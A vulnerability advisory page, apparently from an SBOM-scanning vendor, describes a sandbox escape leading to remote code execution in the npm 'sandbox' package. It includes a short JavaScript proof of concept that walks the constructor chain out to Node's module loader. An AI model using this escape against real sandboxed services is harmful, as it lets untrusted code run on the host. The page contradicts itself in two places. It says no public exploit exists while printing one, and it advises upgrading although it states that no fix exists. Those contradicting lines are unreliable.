GHSA-fm4j-4xhm-xpwx Sandbox Breakout / Arbitrary Code Execution in sandbox

Not scored Published

Attackers can execute arbitrary code by escaping the sandbox via insufficient input sanitization in the sandbox library.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
None listed

What is GHSA-fm4j-4xhm-xpwx?

GHSA-fm4j-4xhm-xpwx is a code injection vulnerability in sandbox, published on 2 Sep 2020. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Which versions are affected by GHSA-fm4j-4xhm-xpwx?

2 open source packages ship an affected version, including sandbox.

PackageAffectedFixed in
sandbox npmFrom 0.0.0None
sandbox npmFrom 0.0.0None

How do I fix GHSA-fm4j-4xhm-xpwx?

No fix has been published for GHSA-fm4j-4xhm-xpwx yet. Limit exposure of the affected software until one is available.

Upgrade, and never evaluate templates, expressions or code built from user input. More about Code injection.

Is GHSA-fm4j-4xhm-xpwx being exploited?

There is no known exploitation of GHSA-fm4j-4xhm-xpwx in the wild and no public exploit code.

Sources

Is GHSA-fm4j-4xhm-xpwx in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free